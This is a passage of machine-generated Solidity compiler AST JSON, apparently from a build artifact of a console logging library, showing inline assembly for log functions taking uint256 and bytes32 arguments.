,"functionName":{"name":"add","nativeSrc":"12951:3:22","nodeType":"YulIdentifier","src":"12951:3:22"},"nativeSrc":"12951:14:22","nodeType":"YulFunctionCall","src":"12951:14:22"},"variableNames":[{"name":"length","nativeSrc":"12941:6:22","nodeType":"YulIdentifier","src":"12941:6:22"}]}]},"pre":{"nativeSrc":"12919:2:22","nodeType":"YulBlock","src":"12919:2:22","statements":[]},"src":"12915:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"13032:3:22","nodeType":"YulIdentifier","src":"13032:3:22"},{"name":"length","nativeSrc":"13037:6:22","nodeType":"YulIdentifier","src":"13037:6:22"}],"functionName":{"name":"mstore","nativeSrc":"13025:6:22","nodeType":"YulIdentifier","src":"13025:6:22"},"nativeSrc":"13025:19:22","nodeType":"YulFunctionCall","src":"13025:19:22"},"nativeSrc":"13025:19:22","nodeType":"YulExpressionStatement","src":"13025:19:22"},{"nativeSrc":"13061:37:22","nodeType":"YulVariableDeclaration","src":"13061:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"13078:3:22","nodeType":"YulLiteral","src":"13078:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"13087:1:22","nodeType":"YulLiteral","src":"13087:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"13090:6:22","nodeType":"YulIdentifier","src":"13090:6:22"}],"functionName":{"name":"shl","nativeSrc":"13083:3:22","nodeType":"YulIdentifier","src":"13083:3:22"},"nativeSrc":"13083:14:22","nodeType":"YulFunctionCall","src":"13083:14:22"}],"functionName":{"name":"sub","nativeSrc":"13074:3:22","nodeType":"YulIdentifier","src":"13074:3:22"},"nativeSrc":"13074:24:22","nodeType":"YulFunctionCall","src":"13074:24:22"},"variables":[{"name":"shift","nativeSrc":"13065:5:22","nodeType":"YulTypedName","src":"13065:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"13126:3:22","nodeType":"YulIdentifier","src":"13126:3:22"},{"kind":"number","nativeSrc":"13131:4:22","nodeType":"YulLiteral","src":"13131:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"13122:3:22","nodeType":"YulIdentifier","src":"13122:3:22"},"nativeSrc":"13122:14:22","nodeType":"YulFunctionCall","src":"13122:14:22"},{"arguments":[{"name":"shift","nativeSrc":"13142:5:22","nodeType":"YulIdentifier","src":"13142:5:22"},{"arguments":[{"name":"shift","nativeSrc":"13153:5:22","nodeType":"YulIdentifier","src":"13153:5:22"},{"name":"w","nativeSrc":"13160:1:22","nodeType":"YulIdentifier","src":"13160:1:22"}],"functionName":{"name":"shr","nativeSrc":"13149:3:22","nodeType":"YulIdentifier","src":"13149:3:22"},"nativeSrc":"13149:13:22","nodeType":"YulFunctionCall","src":"13149:13:22"}],"functionName":{"name":"shl","nativeSrc":"13138:3:22","nodeType":"YulIdentifier","src":"13138:3:22"},"nativeSrc":"13138:25:22","nodeType":"YulFunctionCall","src":"13138:25:22"}],"functionName":{"name":"mstore","nativeSrc":"13115:6:22","nodeType":"YulIdentifier","src":"13115:6:22"},"nativeSrc":"13115:49:22","nodeType":"YulFunctionCall","src":"13115:49:22"},"nativeSrc":"13115:49:22","nodeType":"YulExpressionStatement","src":"13115:49:22"}]},"name":"writeString","nativeSrc":"12836:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"12857:3:22","nodeType":"YulTypedName","src":"12857:3:22","type":""},{"name":"w","nativeSrc":"12862:1:22","nodeType":"YulTypedName","src":"12862:1:22","type":""}],"src":"12836:342:22"},{"nativeSrc":"13191:17:22","nodeType":"YulAssignment","src":"13191:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"13203:4:22","nodeType":"YulLiteral","src":"13203:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"13197:5:22","nodeType":"YulIdentifier","src":"13197:5:22"},"nativeSrc":"13197:11:22","nodeType":"YulFunctionCall","src":"13197:11:22"},"variableNames":[{"name":"m0","nativeSrc":"13191:2:22","nodeType":"YulIdentifier","src":"13191:2:22"}]},{"nativeSrc":"13221:17:22","nodeType":"YulAssignment","src":"13221:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"13233:4:22","nodeType":"YulLiteral","src":"13233:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"13227:5:22","nodeType":"YulIdentifier","src":"13227:5:22"},"nativeSrc":"13227:11:22","nodeType":"YulFunctionCall","src":"13227:11:22"},"variableNames":[{"name":"m1","nativeSrc":"13221:2:22","nodeType":"YulIdentifier","src":"13221:2:22"}]},{"nativeSrc":"13251:17:22","nodeType":"YulAssignment","src":"13251:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"13263:4:22","nodeType":"YulLiteral","src":"13263:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"13257:5:22","nodeType":"YulIdentifier","src":"13257:5:22"},"nativeSrc":"13257:11:22","nodeType":"YulFunctionCall","src":"13257:11:22"},"variableNames":[{"name":"m2","nativeSrc":"13251:2:22","nodeType":"YulIdentifier","src":"13251:2:22"}]},{"nativeSrc":"13281:17:22","nodeType":"YulAssignment","src":"13281:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"13293:4:22","nodeType":"YulLiteral","src":"13293:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"13287:5:22","nodeType":"YulIdentifier","src":"13287:5:22"},"nativeSrc":"13287:11:22","nodeType":"YulFunctionCall","src":"13287:11:22"},"variableNames":[{"name":"m3","nativeSrc":"13281:2:22","nodeType":"YulIdentifier","src":"13281:2:22"}]},{"nativeSrc":"13311:17:22","nodeType":"YulAssignment","src":"13311:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"13323:4:22","nodeType":"YulLiteral","src":"13323:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"13317:5:22","nodeType":"YulIdentifier","src":"13317:5:22"},"nativeSrc":"13317:11:22","nodeType":"YulFunctionCall","src":"13317:11:22"},"variableNames":[{"name":"m4","nativeSrc":"13311:2:22","nodeType":"YulIdentifier","src":"13311:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13398:4:22","nodeType":"YulLiteral","src":"13398:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"13404:10:22","nodeType":"YulLiteral","src":"13404:10:22","type":"","value":"0x643fd0df"}],"functionName":{"name":"mstore","nativeSrc":"13391:6:22","nodeType":"YulIdentifier","src":"13391:6:22"},"nativeSrc":"13391:24:22","nodeType":"YulFunctionCall","src":"13391:24:22"},"nativeSrc":"13391:24:22","nodeType":"YulExpressionStatement","src":"13391:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13435:4:22","nodeType":"YulLiteral","src":"13435:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"13441:2:22","nodeType":"YulIdentifier","src":"13441:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13428:6:22","nodeType":"YulIdentifier","src":"13428:6:22"},"nativeSrc":"13428:16:22","nodeType":"YulFunctionCall","src":"13428:16:22"},"nativeSrc":"13428:16:22","nodeType":"YulExpressionStatement","src":"13428:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13464:4:22","nodeType":"YulLiteral","src":"13464:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"13470:4:22","nodeType":"YulLiteral","src":"13470:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"13457:6:22","nodeType":"YulIdentifier","src":"13457:6:22"},"nativeSrc":"13457:18:22","nodeType":"YulFunctionCall","src":"13457:18:22"},"nativeSrc":"13457:18:22","nodeType":"YulExpressionStatement","src":"13457:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13500:4:22","nodeType":"YulLiteral","src":"13500:4:22","type":"","value":"0x60"},{"name":"p1","nativeSrc":"13506:2:22","nodeType":"YulIdentifier","src":"13506:2:22"}],"functionName":{"name":"writeString","nativeSrc":"13488:11:22","nodeType":"YulIdentifier","src":"13488:11:22"},"nativeSrc":"13488:21:22","nodeType":"YulFunctionCall","src":"13488:21:22"},"nativeSrc":"13488:21:22","nodeType":"YulExpressionStatement","src":"13488:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34054,"isOffset":false,"isSlot":false,"src":"13191:2:22","valueSize":1},{"declaration":34057,"isOffset":false,"isSlot":false,"src":"13221:2:22","valueSize":1},{"declaration":34060,"isOffset":false,"isSlot":false,"src":"13251:2:22","valueSize":1},{"declaration":34063,"isOffset":false,"isSlot":false,"src":"13281:2:22","valueSize":1},{"declaration":34066,"isOffset":false,"isSlot":false,"src":"13311:2:22","valueSize":1},{"declaration":34048,"isOffset":false,"isSlot":false,"src":"13441:2:22","valueSize":1},{"declaration":34050,"isOffset":false,"isSlot":false,"src":"13506:2:22","valueSize":1}],"id":34068,"nodeType":"InlineAssembly","src":"12813:706:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"13544:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":34071,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"13550:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":34069,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"13528:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13528:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34073,"nodeType":"ExpressionStatement","src":"13528:27:22"},{"AST":{"nativeSrc":"13574:156:22","nodeType":"YulBlock","src":"13574:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"13595:4:22","nodeType":"YulLiteral","src":"13595:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"13601:2:22","nodeType":"YulIdentifier","src":"13601:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13588:6:22","nodeType":"YulIdentifier","src":"13588:6:22"},"nativeSrc":"13588:16:22","nodeType":"YulFunctionCall","src":"13588:16:22"},"nativeSrc":"13588:16:22","nodeType":"YulExpressionStatement","src":"13588:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13624:4:22","nodeType":"YulLiteral","src":"13624:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"13630:2:22","nodeType":"YulIdentifier","src":"13630:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13617:6:22","nodeType":"YulIdentifier","src":"13617:6:22"},"nativeSrc":"13617:16:22","nodeType":"YulFunctionCall","src":"13617:16:22"},"nativeSrc":"13617:16:22","nodeType":"YulExpressionStatement","src":"13617:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13653:4:22","nodeType":"YulLiteral","src":"13653:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"13659:2:22","nodeType":"YulIdentifier","src":"13659:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13646:6:22","nodeType":"YulIdentifier","src":"13646:6:22"},"nativeSrc":"13646:16:22","nodeType":"YulFunctionCall","src":"13646:16:22"},"nativeSrc":"13646:16:22","nodeType":"YulExpressionStatement","src":"13646:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13682:4:22","nodeType":"YulLiteral","src":"13682:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"13688:2:22","nodeType":"YulIdentifier","src":"13688:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13675:6:22","nodeType":"YulIdentifier","src":"13675:6:22"},"nativeSrc":"13675:16:22","nodeType":"YulFunctionCall","src":"13675:16:22"},"nativeSrc":"13675:16:22","nodeType":"YulExpressionStatement","src":"13675:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"13711:4:22","nodeType":"YulLiteral","src":"13711:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"13717:2:22","nodeType":"YulIdentifier","src":"13717:2:22"}],"functionName":{"name":"mstore","nativeSrc":"13704:6:22","nodeType":"YulIdentifier","src":"13704:6:22"},"nativeSrc":"13704:16:22","nodeType":"YulFunctionCall","src":"13704:16:22"},"nativeSrc":"13704:16:22","nodeType":"YulExpressionStatement","src":"13704:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34054,"isOffset":false,"isSlot":false,"src":"13601:2:22","valueSize":1},{"declaration":34057,"isOffset":false,"isSlot":false,"src":"13630:2:22","valueSize":1},{"declaration":34060,"isOffset":false,"isSlot":false,"src":"13659:2:22","valueSize":1},{"declaration":34063,"isOffset":false,"isSlot":false,"src":"13688:2:22","valueSize":1},{"declaration":34066,"isOffset":false,"isSlot":false,"src":"13717:2:22","valueSize":1}],"id":34074,"nodeType":"InlineAssembly","src":"13565:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12661:3:22","parameters":{"id":34051,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34048,"mutability":"mutable","name":"p0","nameLocation":"12673:2:22","nodeType":"VariableDeclaration","scope":34076,"src":"12665:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34047,"name":"uint256","nodeType":"ElementaryTypeName","src":"12665:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34050,"mutability":"mutable","name":"p1","nameLocation":"12685:2:22","nodeType":"VariableDeclaration","scope":34076,"src":"12677:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34049,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12677:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"12664:24:22"},"returnParameters":{"id":34052,"nodeType":"ParameterList","parameters":[],"src":"12703:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34106,"nodeType":"FunctionDefinition","src":"13742:1084:22","nodes":[],"body":{"id":34105,"nodeType":"Block","src":"13793:1033:22","nodes":[],"statements":[{"assignments":[34084],"declarations":[{"constant":false,"id":34084,"mutability":"mutable","name":"m0","nameLocation":"13811:2:22","nodeType":"VariableDeclaration","scope":34105,"src":"13803:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13803:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34085,"nodeType":"VariableDeclarationStatement","src":"13803:10:22"},{"assignments":[34087],"declarations":[{"constant":false,"id":34087,"mutability":"mutable","name":"m1","nameLocation":"13831:2:22","nodeType":"VariableDeclaration","scope":34105,"src":"13823:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34086,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13823:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34088,"nodeType":"VariableDeclarationStatement","src":"13823:10:22"},{"assignments":[34090],"declarations":[{"constant":false,"id":34090,"mutability":"mutable","name":"m2","nameLocation":"13851:2:22","nodeType":"VariableDeclaration","scope":34105,"src":"13843:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34089,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13843:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34091,"nodeType":"VariableDeclarationStatement","src":"13843:10:22"},{"assignments":[34093],"declarations":[{"constant":false,"id":34093,"mutability":"mutable","name":"m3","nameLocation":"13871:2:22","nodeType":"VariableDeclaration","scope":34105,"src":"13863:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34092,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13863:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34094,"nodeType":"VariableDeclarationStatement","src":"13863:10:22"},{"assignments":[34096],"declarations":[{"constant":false,"id":34096,"mutability":"mutable","name":"m4","nameLocation":"13891:2:22","nodeType":"VariableDeclaration","scope":34105,"src":"13883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34095,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13883:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34097,"nodeType":"VariableDeclarationStatement","src":"13883:10:22"},{"AST":{"nativeSrc":"13912:697:22","nodeType":"YulBlock","src":"13912:697:22","statements":[{"body":{"nativeSrc":"13955:313:22","nodeType":"YulBlock","src":"13955:313:22","statements":[{"nativeSrc":"13973:15:22","nodeType":"YulVariableDeclaration","src":"13973:15:22","value":{"kind":"number","nativeSrc":"13987:1:22","nodeType":"YulLiteral","src":"13987:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"13977:6:22","nodeType":"YulTypedName","src":"13977:6:22","type":""}]},{"body":{"nativeSrc":"14058:40:22","nodeType":"YulBlock","src":"14058:40:22","statements":[{"body":{"nativeSrc":"14087:9:22","nodeType":"YulBlock","src":"14087:9:22","statements":[{"nativeSrc":"14089:5:22","nodeType":"YulBreak","src":"14089:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"14075:6:22","nodeType":"YulIdentifier","src":"14075:6:22"},{"name":"w","nativeSrc":"14083:1:22","nodeType":"YulIdentifier","src":"14083:1:22"}],"functionName":{"name":"byte","nativeSrc":"14070:4:22","nodeType":"YulIdentifier","src":"14070:4:22"},"nativeSrc":"14070:15:22","nodeType":"YulFunctionCall","src":"14070:15:22"}],"functionName":{"name":"iszero","nativeSrc":"14063:6:22","nodeType":"YulIdentifier","src":"14063:6:22"},"nativeSrc":"14063:23:22","nodeType":"YulFunctionCall","src":"14063:23:22"},"nativeSrc":"14060:36:22","nodeType":"YulIf","src":"14060:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"14015:6:22","nodeType":"YulIdentifier","src":"14015:6:22"},{"kind":"number","nativeSrc":"14023:4:22","nodeType":"YulLiteral","src":"14023:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"14012:2:22","nodeType":"YulIdentifier","src":"14012:2:22"},"nativeSrc":"14012:16:22","nodeType":"YulFunctionCall","src":"14012:16:22"},"nativeSrc":"14005:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"14029:28:22","nodeType":"YulBlock","src":"14029:28:22","statements":[{"nativeSrc":"14031:24:22","nodeType":"YulAssignment","src":"14031:24:22","value":{"arguments":[{"name":"length","nativeSrc":"14045:6:22","nodeType":"YulIdentifier","src":"14045:6:22"},{"kind":"number","nativeSrc":"14053:1:22","nodeType":"YulLiteral","src":"14053:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"14041:3:22","nodeType":"YulIdentifier","src":"14041:3:22"},"nativeSrc":"14041:14:22","nodeType":"YulFunctionCall","src":"14041:14:22"},"variableNames":[{"name":"length","nativeSrc":"14031:6:22","nodeType":"YulIdentifier","src":"14031:6:22"}]}]},"pre":{"nativeSrc":"14009:2:22","nodeType":"YulBlock","src":"14009:2:22","statements":[]},"src":"14005:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"14122:3:22","nodeType":"YulIdentifier","src":"14122:3:22"},{"name":"length","nativeSrc":"14127:6:22","nodeType":"YulIdentifier","src":"14127:6:22"}],"functionName":{"name":"mstore","nativeSrc":"14115:6:22","nodeType":"YulIdentifier","src":"14115:6:22"},"nativeSrc":"14115:19:22","nodeType":"YulFunctionCall","src":"14115:19:22"},"nativeSrc":"14115:19:22","nodeType":"YulExpressionStatement","src":"14115:19:22"},{"nativeSrc":"14151:37:22","nodeType":"YulVariableDeclaration","src":"14151:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"14168:3:22","nodeType":"YulLiteral","src":"14168:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"14177:1:22","nodeType":"YulLiteral","src":"14177:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"14180:6:22","nodeType":"YulIdentifier","src":"14180:6:22"}],"functionName":{"name":"shl","nativeSrc":"14173:3:22","nodeType":"YulIdentifier","src":"14173:3:22"},"nativeSrc":"14173:14:22","nodeType":"YulFunctionCall","src":"14173:14:22"}],"functionName":{"name":"sub","nativeSrc":"14164:3:22","nodeType":"YulIdentifier","src":"14164:3:22"},"nativeSrc":"14164:24:22","nodeType":"YulFunctionCall","src":"14164:24:22"},"variables":[{"name":"shift","nativeSrc":"14155:5:22","nodeType":"YulTypedName","src":"14155:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"14216:3:22","nodeType":"YulIdentifier","src":"14216:3:22"},{"kind":"number","nativeSrc":"14221:4:22","nodeType":"YulLiteral","src":"14221:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"14212:3:22","nodeType":"YulIdentifier","src":"14212:3:22"},"nativeSrc":"14212:14:22","nodeType":"YulFunctionCall","src":"14212:14:22"},{"arguments":[{"name":"shift","nativeSrc":"14232:5:22","nodeType":"YulIdentifier","src":"14232:5:22"},{"arguments":[{"name":"shift","nativeSrc":"14243:5:22","nodeType":"YulIdentifier","src":"14243:5:22"},{"name":"w","nativeSrc":"14250:1:22","nodeType":"YulIdentifier","src":"14250:1:22"}],"functionName":{"name":"shr","nativeSrc":"14239:3:22","nodeType":"YulIdentifier","src":"14239:3:22"},"nativeSrc":"14239:13:22","nodeType":"YulFunctionCall","src":"14239:13:22"}],"functionName":{"name":"shl","nativeSrc":"14228:3:22","nodeType":"YulIdentifier","src":"14228:3:22"},"nativeSrc":"14228:25:22","nodeType":"YulFunctionCall","src":"14228:25:22"}],"functionName":{"name":"mstore","nativeSrc":"14205:6:22","nodeType":"YulIdentifier","src":"14205:6:22"},"nativeSrc":"14205:49:22","nodeType":"YulFunctionCall","src":"14205:49:22"},"nativeSrc":"14205:49:22","nodeType":"YulExpressionStatement","src":"14205:49:22"}]},"name":"writeString","nativeSrc":"13926:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"13947:3:22","nodeType":"YulTypedName","src":"13947:3:22","type":""},{"name":"w","nativeSrc":"13952:1:22","nodeType":"YulTypedName","src":"13952:1:22","type":""}],"src":"13926:342:22"},{"nativeSrc":"14281:17:22","nodeType":"YulAssignment","src":"14281:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"14293:4:22","nodeType":"YulLiteral","src":"14293:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"14287:5:22","nodeType":"YulIdentifier","src":"14287:5:22"},"nativeSrc":"14287:11:22","nodeType":"YulFunctionCall","src":"14287:11:22"},"variableNames":[{"name":"m0","nativeSrc":"14281:2:22","nodeType":"YulIdentifier","src":"14281:2:22"}]},{"nativeSrc":"14311:17:22","nodeType":"YulAssignment","src":"14311:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"14323:4:22","nodeType":"YulLiteral","src":"14323:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"14317:5:22","nodeType":"YulIdentifier","src":"14317:5:22"},"nativeSrc":"14317:11:22","nodeType":"YulFunctionCall","src":"14317:11:22"},"variableNames":[{"name":"m1","nativeSrc":"14311:2:22","nodeType":"YulIdentifier","src":"14311:2:22"}]},{"nativeSrc":"14341:17:22","nodeType":"YulAssignment","src":"14341:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"14353:4:22","nodeType":"YulLiteral","src":"14353:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"14347:5:22","nodeType":"YulIdentifier","src":"14347:5:22"},"nativeSrc":"14347:11:22","nodeType":"YulFunctionCall","src":"14347:11:22"},"variableNames":[{"name":"m2","nativeSrc":"14341:2:22","nodeType":"YulIdentifier","src":"14341:2:22"}]},{"nativeSrc":"14371:17:22","nodeType":"YulAssignment","src":"14371:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"14383:4:22","nodeType":"YulLiteral","src":"14383:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"14377:5:22","nodeType":"YulIdentifier","src":"14377:5:22"},"nativeSrc":"14377:11:22","nodeType":"YulFunctionCall","src":"14377:11:22"},"variableNames":[{"name":"m3","nativeSrc":"14371:2:22","nodeType":"YulIdentifier","src":"14371:2:22"}]},{"nativeSrc":"14401:17:22","nodeType":"YulAssignment","src":"14401:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"14413:4:22","nodeType":"YulLiteral","src":"14413:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"14407:5:22","nodeType":"YulIdentifier","src":"14407:5:22"},"nativeSrc":"14407:11:22","nodeType":"YulFunctionCall","src":"14407:11:22"},"variableNames":[{"name":"m4","nativeSrc":"14401:2:22","nodeType":"YulIdentifier","src":"14401:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14488:4:22","nodeType":"YulLiteral","src":"14488:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"14494:10:22","nodeType":"YulLiteral","src":"14494:10:22","type":"","value":"0x319af333"}],"functionName":{"name":"mstore","nativeSrc":"14481:6:22","nodeType":"YulIdentifier","src":"14481:6:22"},"nativeSrc":"14481:24:22","nodeType":"YulFunctionCall","src":"14481:24:22"},"nativeSrc":"14481:24:22","nodeType":"YulExpressionStatement","src":"14481:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14525:4:22","nodeType":"YulLiteral","src":"14525:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"14531:4:22","nodeType":"YulLiteral","src":"14531:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"14518:6:22","nodeType":"YulIdentifier","src":"14518:6:22"},"nativeSrc":"14518:18:22","nodeType":"YulFunctionCall","src":"14518:18:22"},"nativeSrc":"14518:18:22","nodeType":"YulExpressionStatement","src":"14518:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14556:4:22","nodeType":"YulLiteral","src":"14556:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"14562:2:22","nodeType":"YulIdentifier","src":"14562:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14549:6:22","nodeType":"YulIdentifier","src":"14549:6:22"},"nativeSrc":"14549:16:22","nodeType":"YulFunctionCall","src":"14549:16:22"},"nativeSrc":"14549:16:22","nodeType":"YulExpressionStatement","src":"14549:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14590:4:22","nodeType":"YulLiteral","src":"14590:4:22","type":"","value":"0x60"},{"name":"p0","nativeSrc":"14596:2:22","nodeType":"YulIdentifier","src":"14596:2:22"}],"functionName":{"name":"writeString","nativeSrc":"14578:11:22","nodeType":"YulIdentifier","src":"14578:11:22"},"nativeSrc":"14578:21:22","nodeType":"YulFunctionCall","src":"14578:21:22"},"nativeSrc":"14578:21:22","nodeType":"YulExpressionStatement","src":"14578:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34084,"isOffset":false,"isSlot":false,"src":"14281:2:22","valueSize":1},{"declaration":34087,"isOffset":false,"isSlot":false,"src":"14311:2:22","valueSize":1},{"declaration":34090,"isOffset":false,"isSlot":false,"src":"14341:2:22","valueSize":1},{"declaration":34093,"isOffset":false,"isSlot":false,"src":"14371:2:22","valueSize":1},{"declaration":34096,"isOffset":false,"isSlot":false,"src":"14401:2:22","valueSize":1},{"declaration":34078,"isOffset":false,"isSlot":false,"src":"14596:2:22","valueSize":1},{"declaration":34080,"isOffset":false,"isSlot":false,"src":"14562:2:22","valueSize":1}],"id":34098,"nodeType":"InlineAssembly","src":"13903:706:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34100,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"14634:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":34101,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"14640:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 